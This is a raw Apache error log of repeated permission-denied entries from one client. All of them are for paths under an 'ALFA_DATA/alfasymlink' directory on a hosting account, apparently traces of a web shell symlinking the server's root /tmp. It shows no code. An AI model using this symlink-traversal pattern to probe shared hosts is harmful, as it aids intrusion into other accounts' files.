[Sun Oct 25 14:19:19.189081 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/' is executable
[Sun Oct 25 14:19:19.189093 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/' is executable
[Sun Oct 25 14:19:19.189105 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/' is executable
[Sun Oct 25 14:19:19.189148 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/' is executable
[Sun Oct 25 14:19:19.189171 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/' is executable
[Sun Oct 25 14:19:19.189185 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/' is executable
[Sun Oct 25 14:19:19.189197 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/' is executable
[Sun Oct 25 14:19:19.189221 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/' is executable
[Sun Oct 25 14:19:19.189232 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/' is executable
[Sun Oct 25 14:19:19.189243 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/' is executable
[Sun Oct 25 14:19:19.189262 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Sun Oct 25 14:19:19.189281 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/' is executable
[Sun Oct 25 14:19:19.189301 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/' is executable
[Sun Oct 25 14:19:19.189320 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/' is executable
[Sun Oct 25 14:19:19.189339 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Sun Oct 25 14:19:19.189352 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/' is executable
[Sun Oct 25 14:19:19.189364 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/' is executable
[Sun Oct 25 14:19:19.189376 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/' is executable
[Sun Oct 25 14:19:19.189388 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
[Sun Oct 25 14:19:19.189419 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/' is executable
[Sun Oct 25 14:19:19.189432 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/' is executable
[Sun Oct 25 14:19:19.189445 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/' is executable
[Sun Oct 25 14:19:19.189469 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/' is executable
[Sun Oct 25 14:19:19.189508 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/' is executable
[Sun Oct 25 14:19:19.189529 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/' is executable
[Sun Oct 25 14:19:19.189550 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/' is executable
[Sun Oct 25 14:19:19.189575 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/' is executable
[Sun Oct 25 14:19:19.189594 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/' is executable
[Sun Oct 25 14:19:19.189607 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/' is executable
[Sun Oct 25 14:19:19.189628 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/' is executable
[Sun Oct 25 14:19:19.189649 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/' is executable
[Sun Oct 25 14:19:19.189671 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/' is executable
[Sun Oct 25 14:19:19.189689 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/' is executable
[Sun Oct 25 14:19:19.189706 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Sun Oct 25 14:19:19.189724 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/' is executable
[Sun Oct 25 14:19:19.189750 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/' is executable
[Sun Oct 25 14:19:19.189791 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/' is executable
[Sun Oct 25 14:19:19.189807 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/' is executable
[Sun Oct 25 14:19:19.189835 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Sun Oct 25 14:19:19.189848 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/' is executable
[Sun Oct 25 14:19:19.189887 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/' is executable
[Sun Oct 25 14:19:19.189912 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
[Sun Oct 25 14:19:19.189973 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/' is executable
[Sun Oct 25 14:19:19.189991 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/' is executable
[Sun Oct 25 14:19:19.190019 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/' is executable
[Sun Oct 25 14:19:19.190033 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/' is executable
[Sun Oct 25 14:19:19.190046 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/' is executable
[Sun Oct 25 14:19:19.190074 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/' is executable
[Sun Oct 25 14:19:19.190089 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Sun Oct 25 14:19:19.190101 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/' is executable
[Sun Oct 25 14:19:19.190113 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/' is executable
[Sun Oct 25 14:19:19.190131 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/' is executable
[Sun Oct 25 14:19:19.190150 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/' is executable
[Sun Oct 25 14:19:19.190167 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/' is executable
[Sun Oct 25 14:19:19.190203 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/' is executable
[Sun Oct 25 14:19:19.190227 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/' is executable
[Sun Oct 25 14:19:19.190265 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/' is executable
[Sun Oct 25 14:19:19.190287 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/' is executable
[Sun Oct 25 14:19:19.190309 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/' is executable
[Sun Oct 25 14:19:19.190323 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/' is executable
[Sun Oct 25 14:19:19.190337 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Sun Oct 25 14:19:19.190349 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/' is executable
[Sun Oct 25 14:19:19.190361 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/' is executable
[Sun Oct 25 14:19:19.190398 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/' is executable
[Sun Oct 25 14:19:19.190419 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/' is executable
[Sun Oct 25 14:19:19.190432 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/' is executable
[Sun Oct 25 14:19:19.190448 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/' is executable
[Sun Oct 25 14:19:19.190471 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/' is executable
